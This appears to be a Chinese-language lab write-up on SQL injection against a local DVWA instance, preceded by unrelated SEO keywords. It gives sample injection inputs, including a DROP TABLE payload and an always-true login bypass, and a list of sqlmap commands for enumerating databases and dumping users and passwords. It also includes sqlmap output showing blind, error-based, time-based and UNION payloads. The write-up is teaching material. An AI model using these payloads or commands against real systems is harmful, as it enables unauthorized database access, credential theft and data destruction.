网站制作网站建设案例,宝安做网站,不用付费不用登录的网站,.net做网站之前设置SQL Injection SQL injection#xff08;SQL注入#xff09;#xff0c;通过在输入字段或URL查询参数中执行SQL命令#xff0c;导致对数据库的未经授权的访问。如果SQL注入成功#xff0c;未经授权的人可能会读取、创建、更新甚至删除数据库表的记录 举个例子#xff1a;…SQL Injection SQL injectionSQL注入通过在输入字段或URL查询参数中执行SQL命令导致对数据库的未经授权的访问。如果SQL注入成功未经授权的人可能会读取、创建、更新甚至删除数据库表的记录 举个例子 假设我们有一个搜索表单用于通过ID搜索我们网站上的产品。如果用户在表单中输入20; DROP TABLE Products;那么SQL语句就变成了SELECT * FROM Products WHERE product_id 20; DROP TABLE Products;。现在这个SQL语句会从数据库中删除Products表。这是可能的因为大多数数据库系统可以同时执行多个语句 另一种执行SQL注入的方法是通过传递一个始终为TRUE的条件以便无论如何都能获取数据。例如如果用户将用户名输入为invalid_user OR 11并将密码输入为invalid_pass OR 11那么SQL语句就变成了SELECT * FROM Users WHERE username invalid_user OR 11 AND password invalid_pass OR 1 1。由于11始终为TRUE所以无论用户输入什么用户名和密码SQL都会从数据库中获取所有用户的数据 在下面的测试中我们使用工具sqlmap进行下面是一些常用的sqlmap的命令 检测是否存在注入点 python sqlmap.py -r 请求文件包路径 这个命令用于检测指定请求文件包中是否存在 SQL 注入漏洞。 获取注入点所有数据库 python sqlmap.py -r 响应包路径 --dbs 一旦确认存在注入点这个命令将用于获取目标数据库服务器上的所有数据库名称。 获取当前使用的数据库 python sqlmap.py -r 响应包路径 --current-db --batch 这个命令用于获取当前数据库服务器上正在使用的数据库。 获取数据库中的表 python sqlmap.py -r 响应包路径 --tables -D 数据库名 --batch 一旦确认存在数据库这个命令将用于获取指定数据库中的所有表。 获取表中的字段信息 python sqlmap.py -r 响应包路径 --columns -T 表名 -D 数据库名 --batch 这个命令用于获取指定表中的所有字段信息。 获取字段具体信息 python sqlmap.py -r 响应包路径 --dump -C 字段名(可多个) -T 表名 -D 数据库名 --batch 这个命令用于获取指定表中指定字段的具体信息。 获取当前使用的账户 python sqlmap.py -r 响应包路径 --current-user 这个命令用于获取当前数据库连接的用户。 列出所有使用过的账户 python sqlmap.py -r 响应包路径 --users 这个命令用于列出所有在目标数据库服务器上使用过的用户。 获取 MySQL 的登录账户和密码 python sqlmap.py -r 响应包路径 --passwords 这个命令用于获取 MySQL 数据库中存储的账户和密码。 Low 我们先进行尝试输入User ID显示对应的name并且输入的ID值在URL栏中抓包获取请求文件。 SQLMap 需要了解应用程序如何处理用户输入并构建 SQL 查询。通常情况下是通过分析请求的方式来检测 SQL 注入漏洞的 将请求保存到文件 使用 sqlmap.py -r “请求文件的路径” 来判断是否存在注入点 根据 SQLMap 的输出已确认了 GET 参数 id 存在 SQL 注入漏洞后端数据库管理系统DBMS是 MySQLWeb 应用程序使用的技术是 PHP 7.3.4 和 Apache 2.4.39。 GET parameter id is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: id1 OR NOT 61676167#SubmitSubmitType: error-basedTitle: MySQL 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id1 AND GTID_SUBSET(CONCAT(0x7178627a71,(SELECT (ELT(56005600,1))),0x7170766b71),5600)-- fHCDSubmitSubmitType: time-based blindTitle: MySQL 5.0.12 AND time-based blind (query SLEEP)Payload: id1 AND (SELECT 2140 FROM (SELECT(SLEEP(5)))sxtb)-- lceHSubmitSubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: id1 UNION ALL SELECT CONCAT(0x7178627a71,0x4641787449665a466652656c6854747941486f476d76576569754c78454c6e6774687643746c5458,0x7170766b71),NULL#SubmitSubmit
---
[21:47:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL 5.6
[21:47:57] [INFO] fetched data logged to text files under C:\Users\LI\AppData\Local\sqlmap\output\127.0.0.1 获取所有数据库名 python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt -dbs
available databases [2]: [*] dvwa [*] information_schema 获取当前数据库名
python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt --current-db --batch 获取数据库表信息 python .\sqlmap.py -r C:\Users\LI\Desktop\请求文件.txt -D DVWA -tables 获取DVWA数据库user表的列 python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt -D dvwa --tables 尝试检索并显示指定列的数据 会对CPU造成较大的负担风扇声音较大是正常的 python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt -D dvwa -T users -C user,password,user_id --dump Medium 使用工具注入步骤相似略
High 使用工具注入步骤相似略